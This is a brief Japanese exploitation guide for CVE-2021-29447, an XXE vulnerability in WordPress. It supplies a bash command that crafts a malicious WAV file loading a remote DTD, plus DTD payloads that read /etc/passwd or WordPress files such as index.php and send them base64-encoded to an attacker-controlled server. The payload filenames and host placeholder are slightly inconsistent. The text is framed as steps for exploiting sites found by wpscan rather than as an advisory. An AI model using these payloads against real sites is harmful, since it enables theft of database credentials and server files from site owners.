CVE-2021-29447

影響

任意ファイル開示: ホストのファイルシステム上の任意のファイルの内容を取得できる可能性があります。例えば、データベース認証情報などの機密データを含むwp-config.phpなど。 サーバーサイドリクエストフォージェリ (SSRF): HTTPリクエストがWordPressインストールに代わって行われる可能性があります。環境によっては、深刻な影響を与える可能性があります。 脆弱性の悪用

この脆弱性の影響を受けるWordPressサイトが、wpscanツールを使用した列挙プロセスで特定されました。

悪意のあるWAVファイルの作成

非常に簡単です。bashコンソールで次のように行います。

nano poc.wav echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

攻撃者のPCに、Webサーバーで実行されるコードを含むdtdファイルを作成します。

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

注: WordPressファイルを読み取るには、構文"../WP-FILE.php"を使用します。

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

ファイルディレクトリにPythonサーバーを立ち上げます (python3 -m http.server 8081)

参考:

https://github.com/motikan2010/CVE-2021-29447 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5